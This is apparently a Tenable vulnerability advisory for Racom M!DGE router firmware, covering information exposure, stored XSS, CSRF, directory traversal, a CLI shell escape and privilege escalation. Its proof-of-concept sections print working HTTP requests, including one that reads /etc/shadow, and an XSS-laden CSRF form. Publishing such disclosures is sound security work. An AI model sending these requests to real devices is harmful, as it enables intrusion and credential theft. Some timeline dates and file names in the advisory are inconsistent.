Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Racom MIDGE Firmware Multiple Vulnerabilities

High

Synopsis

(1) Exposure of Sensitive Information to an Unauthorized Actor

CVSSv3 Vector: (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Syslog events are displayed unauthenticated on the device. The below screenshot shows what an unauthenticated user would see when browsing to the site. 

Proof of concept

All that is required to reproduce this is to generate some logs by (for example) adding a new user or sending an SMS. Then when you browse to the web UI in an incognito window you will be able to see the logs as an unauthenticated user.

(2) Stored Cross-Site Scripting via error handling

CVSSv3 Vector:      (AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L)

User-supplied parameters are passed to a function called setError which then stores them in a file located at /var/log/nblog. The contents of the nblog file are then displayed on the web user interface and rendered for authenticated and unauthenticated users.

Due to this issue, it is possible to inject javascript into the user-supplied parameters which will be executed whenever the web user interface is rendered.

 

Proof of concept

After sending the below request some javascript will be executed in your browser on the next reload displaying the message ‘stored XSS’.

Note that to test this you will need to change the IP address in the POST request to that of a M!DGE router that you have authenticated to.

POST /admin/sms.php HTTP/1.1
Host: 192.168.1.5
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.5/admin/sms.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=eae27750a7372359065a66e9bf3514a4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

(3) Stored Cross-Site Scripting via regionalSettings.php

CVSSv3 Vector:      (AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L)

User-supplied parameters are passed to a function called ‘checkHost’ in regionalSettings.php which fails to properly sanitize the parameters. The values are then stored and displayed on the regionalSettings configuration page.

Due to this issue, it is possible to inject javascript into the user-supplied parameters which will be executed whenever the regionalSettings page is rendered. The vulnerable parameters are ‘ntpServer’ and ‘ntpServer2’.

 

 

Proof of concept

After sending the below request some javascript will be executed in your browser on the next reload displaying the message ‘stored xss’.

 Note that to test this you will need to change the IP address in the POST request to that of a M!DGE router that you have authenticated to.

POST /admin/regionalSettings.php HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://192.168.1.5
Connection: close
Referer: http://192.168.1.5/admin/regionalSettings.php
Cookie: PHPSESSID=577a939a30f9db0c7eb161d3ff0be815
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 179

(4) Stored Cross-Site Scripting via virtualization.php

CVSSv3 Vector:      (AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L)

Virtualization.php fails to sanitise the user-supplied parameter ‘install_url’. Due to this issue, it is possible to inject javascript into the user-supplied parameters which will be executed whenever a user attempts to configure a virtual machine.

 

Proof of concept

After sending the below request some javascript will be executed in your browser on the next reload displaying the message ‘stored xss’.

Note that to test this you will need to change the IP address in the POST request to that of a M!DGE router that you have authenticated to.

POST /admin/virtualization.php HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 261
Origin: http://192.168.1.5
Connection: close
Referer: http://192.168.1.5/admin/virtualization.php?action=add
Cookie: PHPSESSID=577a939a30f9db0c7eb161d3ff0be815
Upgrade-Insecure-Requests: 1 

(5) Stored Cross-Site Scripting via sms.php

CVSSv3 Vector:      (AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L) 

Virtualization.php fails to sanitise a user-supplied ‘number’ parameter. Due to this issue, it is possible to inject javascript into the user-supplied parameter which will be executed whenever a user attempts to configure SMS functionality.

 

 

Proof of concept

After sending the below request some javascript will be executed in your browser on the next reload displaying the message ‘stored xss’.

Note that to test this you will need to change the IP address in the POST request to that of a M!DGE router that you have authenticated to.

POST /admin/sms.php HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Origin: http://192.168.1.5
Connection: close
Referer: http://192.168.1.5/admin/sms.php
Cookie: PHPSESSID=577a939a30f9db0c7eb161d3ff0be815
Upgrade-Insecure-Requests: 1

(6) Authenticated Directory Traversal Arbitrary File Read and File Delete

CVSSv3 Vector:      (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H)

 An authenticated directory traversal vulnerability in the configuration and tcpdump download functionality in M!DGE allows a privileged user to read arbitrary files on the underlying operating system as root.

 

Once the files are read they are also deleted from the system unless the ‘wipe’ parameter is set to 0. This could be exploited to make the device unusable.

 

Proof of concept

After sending the below request the contents of /etc/shadow will be returned from the device. 

Note that to test this you will need to change the IP address in the GET request to that of a M!DGE router that you have authenticated to.

 

GET /admin/downloadFile.php?dfile=generated/../../../etc/shadow&wipe=0&Download=Download HTTP/1.1
Host: 192.168.1.5
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.5/admin/fileConfig.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=577a939a30f9db0c7eb161d3ff0be815
Connection: close
 

(7) Cross-site request forgery 

CVSSv3 Vector:      (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)

There is no CSRF protection on this device; we can see in the POST request below that there is no CSRF token being used.

POST /admin/sms.php HTTP/1.1
Host: 192.168.1.5
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.5/admin/sms.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=eae27750a7372359065a66e9bf3514a4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92 

Proof of concept

The below HTML and javascript can be used to stage a dummy example site. If a user browses to the dummy site and submits the form, a malicious request will be sent on behalf of the user that will send an SMS (assuming the user is authenticated to the router).

Below is an example dummy site for demonstration purposes. Note that to test this you will need to change the IP address in the HTML page to that of a M!DGE router that you have authenticated to.

<html>
<meta name="referrer" content="no-referrer">
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.5/admin/sms.php" method="POST">
      <input type="hidden" name="number" value="<script>alert('stored XSS')</script>" />
      <input type="hidden" name="message" value="just a test" />
      <input type="hidden" name="action" value="sendMessage" />
      <input type="hidden" name="Send" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> 

(8) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CVSSv3 Vector: (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) 

It is possible as a member of the user group that has CLI access to escape the cli-interactive shell and instead spawn an ASH shell. An attacker with access to a low-level user account could exploit this to get shell access as their low-level user, from there it is possible to escalate privileges. 

Proof of concept

 To escape the cli-interactive shell use the below example syntax.

 

ssh <user>@<router_address> /bin/ash

 

This results in the cli-interactive binary spawning /bin/ash for us with the below syntax.

 

cli-interactive -c /bin/ash

 

See the below screenshot for a practical example.

 

 

(9) Privilege Escalation via configd

 

CVSSv3 Vector: (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

It was found during testing that a low privilege user with shell access to the device can dump other users' passwords (including roots) and make administrative changes to the device via the configd service.

This is because the command line interface for configd is executable by anyone.

Proof of concept

The below screenshot shows an example of a low privilege user dumping the root password. 

Solution

We are not aware of any vendor-supplied solution at this time.

Disclosure Timeline

November 13, 2020 - Tenable requests security contact.
November 17, 2020 - Racom provides contact.
November 18, 2020 - Tenable discloses to Racom.
November 25, 2020 - Tenable requests acknowledgement.
November 26, 2020 - Vendor acknowledges.
December 18, 2020 - Tenable requests status update.
January 14, 2020 - Tenable requests status update.
January 14, 2020 - Vendor states status is unknown.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2021-04
Credit:
Derrie Sutton
Affected Products:
MIDGE firmware version 4.4.40.105
Risk Factor:
High

Advisory Timeline

February 16, 2021 - Initial release

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training